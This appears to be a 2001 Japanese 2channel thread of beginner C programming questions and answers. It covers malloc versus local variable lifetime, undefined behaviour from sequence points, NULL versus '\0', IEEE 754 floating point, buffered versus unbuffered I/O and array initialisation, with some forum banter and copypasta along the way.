お陰さまで簡単に各種ソースコードを見つける事ができました。
しかし、贅沢を言えばやはり欲しいのはLinuxのソースコードです。
どなたかLinuxのソースコードが置いてあるftpサイトを教えて頂けないでしょうか?
お願いします。
「Linuxのコマンド」なるものは存在しない。OK?
「Linuxのディストリビューションのコマンド」なら
配布元のサイトに逝けばあるかも。
Linuxだったら、適当なディストリビューションのFTPに潜って
srpmなりなんなり取ってきて展開すればいいと思うが。
Slackware系なら単なるtar.gzで転がってるけど。
314デフォルトの名無しさん:01/09/21 13:49
>>308
なるほど。つまり改行はスキップするとよいわけですね。勉強に
なりました。
315デフォルトの名無しさん:01/09/21 14:23
C初心者なんですが、とりあえずファイル読み込むライブラリ作ろうとしています。
FILE渡すと、そのファイルの中身全部読み込んでメモリに保持して、
**linesを返すようなライブラリです。そのソースのファイル名が
filereader.cだとします。

**linesがさしている行の配列はfilereader.cのファイルスコープの
変数として定義されています。ファイルを読み込んで**linesを返す
関数がchar **read(FILE *fin)だとします。

んで、main()の方で2つのファイルを同じときに読み込みたくなった
時にハタと困ったわけです。

char **lines1, **lines2;
lines1 = read(file1);
lines2 = read(file2);

と、してしまうとlines1が指している行の配列がlines2のものに
なってしまうのです。これを干渉し会わないようにするには
ライブラリをどのように作るのがよいのでしょうか?
>>315
で、linesの実体は誰が確保してるんだ?
317デフォルトの名無しさん:01/09/21 14:35
>>316
いや、filereader.cの中で確保する予定ですが。。。というか、
まだ考えている段階なのでコードは書いていないのです。
すいません。
>>315
> **linesがさしている行の配列はfilereader.cのファイルスコープの
> 変数として定義されています。
この変数をメモリ確保するようにし、別インスタンスにする
また、char **ではなくリスト構造にするという手もある
「リスト構造」は検索エンジンで聞いてくれ。
319デフォルトの名無しさん:01/09/21 14:47
申し訳ございません、よく理解できないのでもう少しおつきあい
願えないでしょうか。

>この変数をメモリ確保するようにし、別インスタンスにする

このインスタンスとは「クラスのインスタンス」という意味ですか?
だとすると、Cなのでそれができないのです。

>また、char **ではなくリスト構造にするという手もある

リスト構造とはリンクリストのことですか?
構造体にしたところでなにが変わるのかがわかりません。
>>319
プログラミング言語 C を読み直した方が良いと思うが。

>>この変数をメモリ確保するようにし、別インスタンスにする
たぶん malloc() で確保しろといいたかったに違いない。

> リスト構造とはリンクリストのことですか?
> 構造体にしたところでなにが変わるのかがわかりません。
分かれ。
321デフォルトの名無しさん:01/09/21 15:03
>>320
>たぶん malloc() で確保しろといいたかったに違いない。

いや、ファイルの内容はメモリに保持するのがもともとの予定だったので
malloc(), realloc()でメモリの許す限りの大きさを許すのがもともとの
予定です。しかし、このことが質問とどのように関係しているのかが
わかりません。

>分かれ。

すいません。教えてください。

(つうか、こいつも俺と同じく厨房?)
>>321
なんで関数内で malloc() した領域を返すのに、

> char **lines1, **lines2;
> lines1 = read(file1);
> lines2 = read(file2);
>
> と、してしまうとlines1が指している行の配列がlines2のものに
> なってしまうのです。

となるわけ? なんか根本的に勘違いしてる気がするが。手元に動いているコードが
あるなら、とりあえず出してみなよ。

> (つうか、こいつも俺と同じく厨房?)
喧嘩を売るなら fj.news.usage に逝きましょう。俺は、つきあわないけど。
>>319
> このインスタンスとは「クラスのインスタンス」という意味ですか?
> だとすると、Cなのでそれができないのです。
スマン、用語がC++だった。
インスタンス=実体とでも思ってくれ、

> リスト構造とはリンクリストのことですか?
> 構造体にしたところでなにが変わるのかがわかりません。
行を管理する実体を確保する必要がなくなる。

また、配列の場合あらかじめ行数がわかっている場合は問題ないが、
全部読んでみないと行数がわからない場合、面倒
324デフォルトの名無しさん:01/09/21 15:24
んーと、Cはじめたばっかりなので、間違っているかもしれませんが、
filereader.cは次のようになる予定です。

filereader.c:

#include <stdio.h>

static char lines[][] = NULL;
extern char **read(FILE *f);

char **read(FILE *f)
{
  /* ファイルから読み込んで、linesに格納。この際メモリの許す限り
    ファイルのサイズを許すためその都度malloc(), realloc()でlines
    にメモリを割り当てる。*/

  return lines;
}
325デフォルトの名無しさん:01/09/21 15:26
>喧嘩を売るなら fj.news.usage に逝きましょう。俺は、つきあわないけど。
すいません。失礼しました。
326デフォルトの名無しさん:01/09/21 15:37
すいません、で、main.cの中のmain()からread()を呼び出す予定
なのです。

main.c:

int main(void)
{
  ...
  lines1 = read(file1);
  lines2 = read(file2);
  ...
}
327322:01/09/21 15:40
>>324
> static char lines[][] = NULL;
静的に確保した配列と malloc() で確保したメモリ領域の区別がついてないと思われ。

#include <stdio.h>
#include <stdlib.h>

#define MAXLINELEN 1024

struct list
{
  struct list *l_prev;
  struct list *l_next;
  char l_line[MAXLINELEN];
};

struct list *
read_file(FILE *fp)
{
  struct list *first, *prev, *cur;
  char buf[MAXLINELEN];

  first = malloc(sizeof(*prev));
  first->l_prev = first->l_next = NULL;

  for (prev = first; fgets(buf, sizeof(buf), fp) != NULL; prev = cur) {
    cur = malloc(sizeof(*cur));
    cur->l_prev = prev;
    cur->l_prev->l_next = cur;
    cur->l_next = NULL;
    strcpy(cur->l_line, buf);
  }

  return (first);
}

int
main(void)
{
  FILE *fp;
  struct list *first, *p;

  fp = fopen("read.c", "r");
  first= read_file(fp);
  fclose(fp);
  for (p = first->l_next; p != NULL; p = p->l_next)
    fputs(p->l_line, stdout);
  return (0);
}
328デフォルトの名無しさん:01/09/21 15:44
>>324
reallocでのメモリ拡張は大量のメモリコピーが伴う場合があるから
あまり頻繁に大きなサイズで呼び出さないほうが良いと思う。
素直にリンクリストでデータ要素をちまちま追加してくほうがいいよ。

どうしてもやりたいなら割り当てる単位を大きくしてなるべくreallocを
呼び出す回数を少なくする工夫が要ると思う。

ちなみに
Javaの可変配列Vectorの実装ではサイズが2^N乗を超えたときにrealloc相当の
処理をするようになってた。
これだとサイズが線形に増えたときlog2N回しかreallocしないかわりに最悪
メモリ使用効率が半分まで落ちることがある。
329デフォルトの名無しさん:01/09/21 15:51
>>327
コードまでありがとうございます。参考にさせていただきます。
ここで、疑問なのですが、read_fileはローカル変数firstを
返していますよね。ここにもしかすると私の大きな勘違いが
あるのかもしれませんが、firstの指す実体はread_file()を
抜けた後でも残っているのでしょうか?

なぜそんな疑問を持ったのかというと(すいません、長くなるの
で投稿を分けます。)
330デフォルトの名無しさん:01/09/21 15:52
このコードは動くのに:

#include <stdio.h>

int main(void)
{
  char **p;
  char *array[3];
  char *s, *t, *u;
  int i;

  s = "foo";
  t = "bar";
  u = "foobar";

  array[0] = s;
  array[1] = t;
  array[2] = u;

  p = array;

  for (i = 0; i < 3; i++) {
    printf("(%d): '%s'\n", i, *p++);
  }

  return(0);
}
331デフォルトの名無しさん:01/09/21 15:52
このコードはSegmentation Faultを起こしてしまうからです。

#include <stdio.h>

char **foo(void);

int main(void)
{
  char **p;
  int i;

  p = foo();

  for (i = 0; i < 3; i++) {
    printf("(%d): '%s'\n", i, *p++);
  }

  return(0);
}


char **foo(void)
{
  char **p;
  char *s, *t, *u;
  char *array[3];

  s = "foo";
  t = "bar";
  u = "foobar";

  array[0] = s;
  array[1] = t;
  array[2] = u;

  p = array;

  return p;
}
332名無しさん:01/09/21 15:55
そりゃあんさん、ローカル変数なんやから・・・
>>329

>>331のコードだと、p の指す実体はローカル変数の array だ。
だから foo() から戻った時点で次元の狭間へ消えてしまう。

>>327のなら、p の指す先はmallocで確保したバッファだ。
だから、自分で free() しない限りはずっと残ってる。
>>329
やっぱり「プログラミング言語C」を読み直した方が良いと思うが。。。
read_file() の先頭にあるように

first = malloc(sizeof(*prev));

first は malloc() で確保した領域へのポインタを返している。malloc()
で確保した領域の寿命は変数スコープに縛られないから問題なし。
問題となるのは、自動変数のアドレスを返す場合のみ。

次の例は NG

char *foo()
{
  char c;
  return (&c);
}

次の例は OK

char *foo()
{
  char *p = malloc(sizeof(char));
  return (p);
}

char *foo()
{
  static char c;
  return (&c);
}
335デフォルトの名無しさん:01/09/21 16:01
>>333
ああ、なるほど。ようやくみなさんがmalloc()使え、とおっしゃることが
理解できました。どうもありがとうございました!!感謝します。
>>329
> firstの指す実体はread_file()を
> 抜けた後でも残っているのでしょうか?
mallocで確保した実体はfreeを呼び出したり、
プログラムが終了しない限り残ります。
ローカル変数は関数を抜けると自動的に破棄されます。

>>331の例の場合、returnしたポインタがローカルに実体を持っているので
関数を抜けたときに実体が破棄され、破棄された実体を参照しようとしたため
Segmentation Faultが発生します。

ポインタを扱う場合、実体がどこにあるかを強く意識してください。
337デフォルトの名無しさん:01/09/21 19:14
int x=3,y=5;

ASSERT((++x*y+x)==24);

これはカンキョウイゾンでしょうか?
>>337
たぶん ++x と x を一つの式で書いて良いのかと聞きたいのだと思うが、それ以前の
問題として

- assert() ではなく ASSERT() 使ってる時点で環境依存
- ASSERT() の中で x をインクリメントしているので、デバッグビルドとリリースビルド
 で動作が変わってしまう

だよ。
339デフォルトの名無しさん:01/09/21 19:33
     川|川川  川
    ‖川 | | | ー ー||        / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    川川 | |ー□--□l      <  「C言語ならオレに聞け!」っと・・・
    川川| | \ J/||        \________
    川川‖  | ロ|/| カタカタカタ
    川川|‖\|__|l|l  _____
   /川川川__/川川  |  | ̄ ̄\ \
   |  川川|  |/川l__,|  |    | ̄ ̄|
   |  \_|__|_|、__|  |    |__|
   |  \____|つ   |__|__/ /
   |      |  | | ̄ ̄ ̄ ̄|  〔 ̄ ̄〕
340デフォルトの名無しさん:01/09/21 19:43
>>338
ASSERTはクセでした。

if(...);
にかえてくだされ。
>>338
処理系依存といえばセーフだったのかな
>>341
副作用があるから、処理系依存ってことでいいですか?

確か ++x * x みたいのはだめですよね?
>>342
しかしこの場合は++x*y+xなので、優先順位から言えば問題ないのでは?

if(x++==3 && x==4)ってオッケーでしょ?それともこれもだめ?
344sage:01/09/21 20:08
誰か突っ込んでやれよ>>343
>>343
ヒント: sequence point
>>342
処理系依存じゃなくて、未定義。
>>343
> ++x*y+xなので、優先順位から言えば問題ないのでは?
問題大あり

> if(x++==3 && x==4)ってオッケーでしょ?それともこれもだめ?
オッケー

違いが分からなければC-FAQの3章を分かるまで読め。
糞レスしてるよりは有意義な時間を過ごせる
348デフォルトの名無しさん:01/09/22 13:41
---------------------------------------------------------------------------

あなた達には分からないでしょうが、Rubyは素晴らしい言語です。
オブジェクト指向スクリプト言語として他のスクリプト言語を圧倒する性能と美しい言語仕様を持っています。
例えば、SchemeやSmallTalkなどは比較的美しい言語だと言われていますが、後発である優位さでRubyは
さらなる美しさと実用性を備えています。
もちろんPerlやPythonなど問題外です。
日本語との親和性ではRubyしか選択肢がないでしょう。

LinuxのディストリビューションもRubyの採用例が増えてきています。
1年後には全てのディストリビューションがRubyを標準採用するでしょう。
Rubyは未来のスクリプト言語なのです。

長くなりましたが、コピペではありません。
賛同していただける方はRubyの事を分かっていただけない人に出会ったら、
この発言をコピペしていただければ幸いです。
349デフォルトの名無しさん:01/09/22 23:36
実は最近C言語を勉強し始めたのですが、
C言語でのNULLと0と'\0'の違いがわかりません。

NULLは、((void *)0)と定義されていましたが、
どういうことでしょうか?

実際プログラムで、((void *)0)を表示させると
私の環境では(null)と表示されました。

また、((void *)0)を((char *)0)とすると落ちました。

この違いもわからずさっぱりです。


すいませんが、教えてください。
>>349
0 と NULL は型が違うやね。

NULL はポインタが「何も指していない」ことを示すときに使う。

'\0' と 0 は両方整数型だが、文字列の終端を表す NUL 文字を表すときに
は前者、数値の 0 を表すときには後者を使うのが一般的。

あとは C FAQ 読みましょう。
351デフォルトの名無しさん:01/09/23 06:50
LIBCD.lib(wincrt0.obj) : error LNK2001: 外部シンボル "_WinMain@16" は未解決です
Debug/test.exe : fatal error LNK1120: 外部参照 1 が未解決です。

雑魚質問。
Borland C++ Compiler 5.5ではコンパイルできたけど、VC++6.0では上記のエラーが。
このエラー見ただけで理由分かるもんなの?
/link /subsystem:console
353sage:01/09/23 12:01
wWinMainCRTStartup
なわけないか。

BCCって俺よくしらんのだけど、
wchar_tをどのくらいサポートしてんのかな。
354デフォルトの名無しさん:01/09/23 18:17
プログラミング言語Cアンサーブックの中で広範囲に使われている
getline(char line[], int maxline)って間違ってない?
Cのバイブルといわれる本にこんな間違いがあっていいのでしょうか?

int getline(char s[], int lim)
{
  int c, i, j;

  j = 0;

  for(i = 0; (c = getchar()) != EOF && c != '\n'; ++i)
    if(i < lim -2){
      s[j] = c;
      ++j;
    }

  if(c == '\n'){
    s[j] = c;
    ++j;
    ++i;
  }
  s[j] = '\0';
  return i;
}

retun されるiが'\0'を含んだり含まなかったりしてない?
>>354
返値は、s[] に読み込んだ文字数ではなくて
標準入力から取り出した文字数という仕様ではないのか。

そうでないと i と j を分けてる意味ねーし。
というか常に含んでないだろ。
どういう場合に'\0'を含んでるって言うんだ?
それと、アンサーブック はバイブルじゃないだろ…。
常に含んでるよ。みんなどうしたの?
                         
  ∧ ∧      ┌─────────
  ミ ´ー`ミ   < Rubyはクソです。ゴミ箱逝きです。 いじょーヨ
   \ <      └──/|────
    \.\        ミ ミ
      \""""""""""/
       ∪∪""∪∪
この発言をコピペしていただければ幸いです。
ほんとにC現gおやる気はあるんですが、入門書などを見ても、basicを経験してる事を前提としていて
あまりわかりませんでした。
みんなは何からプログラム言語をはじめましたか?
386アセンブラからですが、何か?
N88-BASICからですが何か?
362デフォルトの名無しさん:01/09/24 12:51
>359
>>入門書などを見ても、basicを経験してる事を前提としていて

何も知らない初心者向けのCの解説本もたくさんあるぞ。
もっと大きい本屋で探せ。
363デフォルトの名無しさん:01/09/24 13:11
int *ma(){
int i;
return &i;
}
これはありですか?
ローカル変数のメモリは関数終了時に終わる気がするのですが・・・
364デフォルトの名無しさん:01/09/24 13:14
当然無しだと思われます
365デフォルトの名無しさん:01/09/24 13:17
コンパイルエラーでしょうか?
366デフォルトの名無しさん:01/09/24 14:24
>>365
gccなら-Wallしてれば警告してくれそう。
367デフォルトの名無しさん:01/09/24 14:28
どうでもいいけど、俺はK&R読む前に他の本をかなり目を通したぞ。
独習C、C言語アルゴリズム+徹底入門(いい本だった)、
cc&lint、C言語プログラミング(H.M.ダイテル+P.J.ダイテル)。
その後でK&R読んだ。

あと、FreeUNIXにはソースがついてるので、libcの中の
関数のソース読んだり。んで、コンピュータアーキテクチャ
っていう本読んだり。大変だったが、面白いぞ。
他の言語とは違ってマシンを制御してるって実感が
もてる。
368デフォルトの名無しさん:01/09/24 14:46
visualC++で一般保護法違反がでてPCが固まったんですけどなんででしょうか?
>>368
それだけでは何がなんだかわからん。
1.自分の書いたプログラム実行中に固まった。→ソースコード見せろ。
2.プログラム実行以外の操作で固まった。  →固まる直前に行った操作を明記して、
                       VC++スレで質問しなおせ。
370MONTE:01/09/24 15:16
プログラムを書いてコンパイルしようとしたら、Out of memory
とエラーメッセージが出てしまいました。マニュアルにものって
ないので困ってますが、単純にメモリー不足ということですよね。
どなたか詳しく教えてください。
371デフォルトの名無しさん:01/09/24 15:30
プログラムの実行中に白い横長のダイアログが出てきて
閉じるを押したら、
一般保護法違反ですという警告が出てきて
詳細を見て閉じたら
画面が青い画面になってとまりました
372デフォルトの名無しさん:01/09/24 15:32
>>370
検索で出てくるよ
求めている答えかはわからんが
http://www.microsoft.com/japan/support/kb/articles/J053/1/87.htm
とか(ちがうとおもうけど)
373デフォルトの名無しさん:01/09/24 16:03
read,write等の低水準入出力関数とprintf等の高水準入出力関数を併用していけないのはどうしてですか?
またflush関数の役割がいまいちわかりません。
お願いします。
>>373
readとprintfはいっしょに使ってもいいじゃん
flushすると書き込むんだよ。closeしてもいいけど。
375デフォルトの名無しさん:01/09/24 16:16
>>374
C++において
coutとprintfを併用した時のように
挙動が変になる事が多々ありませんか?
read はバッファリングしないけど
printf はライブラリレベルでバッファリングしてます。
なので、いっしょに使うと printf 側がびっくりします。

ライブラリレベルでのバッファをフラッシュするのが fflush。
flush は知らないです。

printf と併用するなら、fread/fwrite あたりが吉。
377デフォルトの名無しさん:01/09/24 16:34
>>376
レスありがとうございます。
write,readというのはカーネルレベルでもバッファリングしないのでしょうか?
あと、printfがびっくりする(笑 というのは具体的になにが行われるのでしょうか?
よろしくお願いします。
カーネルレベルでは、ブロックデバイスに対しての
I/Oはバッファリングされますけれど、キャラクタデバイスは
バッファリングされません。

[printf がびっくりする話]
printf("hehe") バッファにためとく
 ↓
write("hoho") 出力されちゃう
 ↓
fflush/fclose いまごろ "hehe" が出力される
 ↓
順番ちゃうやん

以上例えばの話
実際はもっとワケワカなことが起こるかも
>>378
解りやすくありがとうございました。
とても勉強になりました。
>>378
しつこくてすいません。最後に質問させてもらいます。
そこら辺の事を勉強するにはアセンブリの勉強をするのが得策でしょうか?
普通にUNIXやCの勉強をすれば良いと思います。
アセンブラがわかることは良いことですが、
この話にはあまり関係ないでしょう。
(...て、UNIXで良かったのかしら?)
>>370
>>370
関数が長すぎるとコンパイルできないコンパイラもあるって
聞いたことあるけど、それならマニュアルに書いてあるだろうし…。
いずれにせよコンパイル時にメモリが足りないといってきてるんだから、
ソースコードを適当に分割してコンパイルしてみてはどうだろうか?
>>381
度々ありがとうございました。

ちなみに私はLINUX房です。
>>371
一般保護違反って言うだけでは何が起こったか特定できないので、
そのソースコードを見ないと、誰も何も答えられないと思うよ。
>>380
ライブラリのソースコードを読むのがいいと思いますが。

*BSD なら /usr/src/lib/libc
VC6 なら C:\Program Files\Microsoft Visual Studio\VC98\CRT\SRC

あたりにインストールされてるでしょ。VC はデフォルトだとインストール
されないかも。
386デフォルトの名無しさん:01/09/24 17:25
>>384
では一般的にどういう時に起こるのでしょう?
>>386
一般保護違反が出るケースは、

1 ポインタの使い方を間違った
2 メモリが腐ってる
3 電源容量が足りない

とか、いろいろあるけど。
388デフォルトの名無しさん:01/09/25 16:21
C言語で、動画のように動くものを作りたいのですが、
どう考えていけばいいのでしょうか?
できれば、そういうことについて載っている本につい
ても教えてください。

OSは、Linuxを使ってやりたいと思っています。
389デフォルトの名無しさん:01/09/25 18:55
もうちょい具体的に書け.
ムービーの再生? 2D/3Dゲーム?
390388:01/09/25 20:08
>>389
ぜんぜん大層なものではなく、科学技術計算で
リアルタイムな動きを追ってみたいのですが、
できれば、何かのライブラリを使うよりも、自分でいじりたいです。
これを通して、少し言語の勉強も兼ねられたらと思ってます。
391デフォルトの名無しさん:01/09/26 11:43
配列A[100]の全てに文字 'a'を代入してくれる関数ってありますか?
forループでまわせばいいのですが、Basicにそんな関数があった気がした
のでもしやと思い質問しました。
>>391
無いと思うし、あっても使わないでしょ。
>391
 memset を調べてごらん

でも、CとかDelphiはコンパイラだから
その程度の事はさっさと作ってしまってもいいんだよ
>>392
普通、使うでしょ。
395デフォルトの名無しさん:01/09/26 12:40
2進数に関して知りたいのです。整数がビット列としてどのよう
に格納されているのかは、よく書籍などにも書いてあるので理解
したのですが、少数は2進数ではどのように表現するのでしょ
う?たとえば、0.1や0.2は2進数ではどのように表現したらよい
のでしょうか?また、float型やdouble型の文字列は、ビット列
としてどのように格納されているのでしょうか?

float型やdouble型に対してビット演算を施そうとすると、コン
パイラに怒られてしまうのですが、たとえば、"float f = 0.1"
のfのビット列を表示させるプログラムはどのようにして作成し
たらよいでしょうか?

初心者ですいません。教えてください。
396395:01/09/26 12:42
少数 -> 小数
の間違いです。すいません。
>>395
> 少数は2進数ではどのように表現するのでしょう?
http://www.pro.or.jp/~fuji/mybooks/cpro/cpro.4.2.3.html

> ビット列を表示させるプログラムはどのようにして作成し
> たらよいでしょうか?
URLに示したprmem()を参考にしろ。
ちなみにprmem()関数内のjは定義されているが使われていない。

prmem()関数は1文字ずつ16進に変換しているが、
16進変換部分を2進変換をする関数に置き換えてやればいい。
1文字を2進数に変換する関数は宿題とする。
>>395
小数の2進表記
0.5 -> 0.1
0.25 -> 0.01
0.75 -> 0.11
0.125 -> 0.001

浮動小数点の形式は何種類かある
まずはIEEE754を調べてみな
399名無しさん:01/09/26 14:44
ある関数の逆ラプラス変換を行うC言語の関数とかありますか?
ぜひお教えください。
400395:01/09/26 14:48
>>397

http://www.pro.or.jp/~fuji/mybooks/cpro/cpro.4.2.3.html

>URLに示したprmem()を参考にしろ。

ありがとうございます。大変参考になりました。

>1文字を2進数に変換する関数は宿題とする。

解いてみました。添削していただけると幸いです。

static char *ctobit(char *p, const unsigned char ch)
{
unsigned char tester;
char *q;

q = p;
tester = 1;
tester <<= 8 - 1;

while (tester != 0) {
if ((ch&tester) == 0) {
*q++ = '0';
}
else {
*q++ = '1';
}
tester >>= 1;
}

*q = '\0';

return p;
}

>>398
>まずはIEEE754を調べてみな

これは、どこで入手できるのでしょうか?
401デフォルトの名無しさん:01/09/26 14:49
>>395 Float や double 型は既にポインタが示されてるし検索すればいいので

固定少数点による少数表現については 「好きなように」 が答えです
たとえば 0.1を 整数の1に対応づけて 1.0を整数の10と対応づけてもいいですしね
>>400 名前が示されているのだから検索してみようよ
>399 標準ではない

パッケージがもしかするとどこかにあるかもしれないけど俺は知らない。

しかし、
それは数式処理という範疇だからMathematica / REDUCE / mathcad などの守備範囲に入る
素直にそっちを使った方がいいぞ
404名無しさん:01/09/26 15:05
>>403 さん
逆ラプラス変換ですが、Mapleでできますか?
405395:01/09/26 15:15
>>402
IEEE754がなにかの規格だということはわかったのですが、
その規格はどうやったら入手できるのかはわかりませんでした。。
Webでは入手できないもので、書店で注文すべきものなのでしょうか?
>>400
> 解いてみました。添削していただけると幸いです。
良いと思います。

>if ((ch&tester) == 0) {
>  *q++ = '0';
>}
>else {
>  *q++ = '1';
>}

*q++ = ((ch&tester) == 0 ? '0' : '1';
とも書けますが、趣味の問題でしょう。
407デフォルトの名無しさん:01/09/26 17:29
GCCで日本語を使う方法ご存知の方がいたら教えていただけませんか?
文字列に全角カタカナの「ソ」とかがあるとコンパイラとおらないので
困っています。
>>407
日本語 EUC を使う。
410395:01/09/26 18:48
>>409
ありがとうございます。メモリ上にどのように格納されているか
理解することができました。

もうすこし質問させてください。NaNとはなんでしょうか?バイアス
をかける理由がよくわからないのですが、NaNとInfinityを予約する
ためと考えてよいでしょうか?NaNやInfinityはどのように表現
されているのでしょうか?

初心者ですいません。よろしくお願いします。
>>410
NaN はエラーの検出を先送りにするために使われます。

0/0 とか ∞ - ∞ のような意味のない計算を行ったときに、あとで「計算途中で
エラーが発生した」ことをプログラマに伝えるために NaN という特殊な数値を設
定しておきます。

IEEE 754 だと NaN は

単精度
 指数 255
 仮数 !0

倍精度
 指数 2047
 仮数 !0

です。指数はそのままで仮数を 0 にすると ∞。

詳しくは、その筋の書籍を読んでください。数値計算の専門書ではありませんが、
パターソン&ヘネシーの「コンピュータの構成と設計」あたりは解説も丁寧で、学
習に適しているかと。
412デフォルトの名無しさん:01/09/26 20:23
c言語で乱数やりたいんだけど、0〜32767の範囲になっちゃいます。
javaとかみたいに、0.0<=乱数<1.0って無理なんですか?
32767/32768>0.99996…なので純粋な乱数にはならないし。
ご教授願います。
413デフォルトの名無しさん:01/09/26 20:39
>>408
なるほど!やってみたらできました。ありがとうございました。
414デフォルトの名無しさん:01/09/26 20:49
>412
乱数を複数用意して、15bitづつシフトアップしたものをOR
%で微調整可。
415デフォルトの名無しさん:01/09/26 20:55
void *aaa;
int ccc;

aaa = &ccc;
aaa += 0x100;

とかってしてはいけないんでしょうか?
VC++だとvoid*型のやつの演算はできないってエラーになります。
これって一般的なC/C++言語の規格なの?
というのを疑問に思っているのですが....。
>>415
当然ダメですが。

次のコードをコンパイルしてアセンブラ出力見てみ。

char *cp;
int *np;
++cp;
++np;
別にアセンブラ出力でなくとも

printf("%p\n", cp);
cp++;
printf("%p\n", cp);
printf("%p\n", np);
np++;
printf("%p\n", np);
でもいいと思うが...
418415:01/09/26 21:22
あー、ありがとーございます。
なんか全くエラーでないコンパイラもあるんですよね。
ので疑問に思っただけです。
419デフォルトの名無しさん:01/09/26 22:10
>>418
そのコンパイラで、
void *p = 0;
p++;
としたら、pはいくつになるのか?
420デフォルトの名無しさん:01/09/26 22:29
void型へのポインタってどういう意味なんですか?

それより、ソースの中で\ってどういう意味ですか?
421412:01/09/26 23:18
>>414
それもそうなんですが、非常に不効率
>>420
さすがに、それは「プログラミング言語C」読め、で終わりだろ。
423デフォルトの名無しさん:01/09/27 09:45
趣味でC言語をやっている者です。
初級は脱したと思うのですが、さらなるスキルアップのためにやるべき事は何でしょうか?
正直、中級上級者用の本は存在しませんよね?
>>423
K&R 読んだ?
アルゴリズムの本読んだ?
425デフォルトの名無しさん:01/09/27 10:00
>>423
他人のソースコードを積極的に読み、
暇があれば何か新しいコードを書く。
426デフォルトの名無しさん:01/09/27 12:28
>>424
読みました。

>>425
お勧めのソースコードありますか?
>>426
FreeBSDのカーネルのソース

間違ってもMozilla6のソースは読むな
>>426
K&Rの練習問題をアンサーブックなしで全て解いてみろ。
# ちなみに俺は挫折した
429デフォルトの名無しさん:01/09/27 16:19
教えて下さい。




long n = 0;
double t = timeGetTime();
while( true ) printf( "%f", n++ / ( t - timeGetTime() ) );




何が変?
もしかして 「 t == timeGetTime() 」?
>>429
そのコードに何を期待しているのか不明。強いて言えばお前の頭が変。
431デフォルトの名無しさん:01/09/27 16:33
>>429 while(true)で無限ループしてるね!
君の頭のなかもぐるぐるまわっているのかな?
まず何がしたいのかを書き出そう? 要求記述

例えば1ループに要する時間を測りたいならば。

double startTime=timeGetTime();/*おいこんな関数あったっけ?*/
long n;
for(n=0;.......;n++)
{
......
}
double endTime=timeGetTime();
printf("%lf",(endTime-startTime)/(double)n);

とすればいいやね!
double は %lf だったっけ?
433デフォルトの名無しさん:01/09/27 20:36
printf()では、doubleは%fよ。
scanf()では%lfなので注意。
434429:01/09/27 23:20
解決しました。キャストの問題でした。
while( true ) printf( "%f", n++ / ( t - timeGetTime() ) );

while( true ) printf( "%f", n++ / ( double )( t - timeGetTime() ) );

timeGetTime() は time.h にあるはずです。
ミリ秒単位で時間を得られます。

無限ループですが、「 ctrl + c 」という必殺技があるので問題ありません。
435ななしさん:01/09/28 02:46
ソートするプログラムの練習用に.配列にランダムな数字を入れてくれる関数
を作りたいと思います.
形式としてはCreateArray(int n)みたいにしてやって,引数nの数だけ
array[0]からn個の配列を準備して,rand()で順次値を入れていき,配列
へのポインタを返す,というのを想定して書いてみたのですが,コンパイルす
ると配列の量が決まってないとダメ,というようなことを言われてしまいます.
エラーから推測するにコンパイルの時点でどれだけ割り当てるかを決めてない
せいだと思うのですが,実行したときに臨機応変にやってくれるような巧い方
法ってありますか?

ポインタを返されてからの処理にも困ってはいるのですが,とっかかりだけで
も教えていただければと思うのですが・・・あとは調べてやってみたいと思い
ますので,どなたかよろしくお願いします.
>>434
まず、timeGetTime()はWindowsのAPIだからmmsystem.hな。
あと、timeGetTime()の戻り値はdoubleじゃなくてDWORDな。
あと、tが本当にdouble型ならキャストしなくても自動的に変換されてるはずだと思うが?
437C言語3日目:01/09/28 04:58
>>433
初めてこの意味が理解できたYO
>>435
Cなら、「malloc」を調べるべし。
C++なら new で。
>>429 のコードいじってて気づいたんだけど,
  double a, b = 0.0;
  a = 1.0 / b;
  printf("gehehe");
ゼロ除算例外で実行が中断されることなく gehehe が出力されるっすね
これは C や C++ の仕様なんすか?
440439:01/09/28 08:53
あー,自己レスー
    printf("%f", a);
て出力してやると
    1.#INF00
て出てきました
そこはそれなりに考えてくれてるってことっすねー
>>439
処理系依存です。決まってません
>>440
この機会に IEEE754 について調べると、理解が深まると思うぞ。
443デフォルトの名無しさん:01/09/28 11:13
3次元配列の初期化のやり方を教えてください。
int test[3][5][7]
というのを定義したいとです。

添え字を左からx,y,zとしたばあい
2次元配列なら
int test[3][5] = {
{ (x0.y0),(x0.y1),(x0.y2),(x0.y3),(x0.y4) },
{ (x1.y0),(x1.y1),(x1.y2),(x1.y3),(x1.y4) },
{ (x2.y0),(x2.y1),(x2.y2),(x2.y3),(x2.y4) }
}
というような感じで(x0.y0)のところに、
xが0でyが0の場合の値を入れればいいということは
わかったのですが、3次元の場合(x0.y0.z0)
どうすればいいのかわからないです。

よろしくお願いします。
/* 配列を確保する、確保できない場合、NULLを返す */
int *CreateArray(int n)
{
  return (int *)malloc(sizeof(int) * n);
}
使い終わったらfree()で解放したほうが良い。

/* 配列にランダムな値を設定する */
/* n は配列の要素数 */
void setRand(int *array, int n)
{
  int i;
  for(i = 0; i < n; i++){
    array[i] = rand();
}

ま、確保と設定を同じ関数でやってもいいと思うが。
445デフォルトの名無しさん:01/09/28 11:39
>>443
[3][5][7] なんて巨大な数字を例にするのはやめれ。

int test[4][3][2] = {
 { {0,0}, {0,0}, {0,0} },
 { {0,0}, {0,0}, {0,0} },
 { {0,0}, {0,0}, {0,0} },
 { {0,0}, {0,0}, {0,0} }
};

4次元配列なら、さらに { } が増えます。
>>443
> 3次元配列の初期化のやり方を教えてください。
> int test[3][5][7]
> というのを定義したいとです。
int test[2][3][4]を初期化します。
int test[3][5][7]は下記を適当に応用してください。

int test[2][3][4] = {
 {
  { (x0.y0.z0),(x0.y0.z1),(x0.y0.z2),(x0.y0.z3) },
  { (x0.y1.z0),(x0.y1.z1),(x0.y1.z2),(x0.y1.z3) },
  { (x0.y2.z0),(x0.y2.z1),(x0.y2.z2),(x0.y2.z3) },
 },
 {
  { (x1.y0.z0),(x1.y0.z1),(x1.y0.z2),(x1.y0.z3) },
  { (x1.y1.z0),(x1.y1.z1),(x1.y1.z2),(x1.y1.z3) },
  { (x1.y2.z0),(x1.y2.z1),(x1.y2.z2),(x1.y2.z3) },
 },
};
447デフォルトの名無しさん:01/09/28 11:49
どうやってC言語を覚えてるのですか?
448デフォルトの名無しさん:01/09/28 11:54
>>447
カニチャーハン丸呑み
449デフォルトの名無しさん:01/09/28 11:55
K&Rをちゃんと全部読む
450449:01/09/28 11:55
>>448 かぶった・・
>>447 なんか作る。そして動かす。
>>447
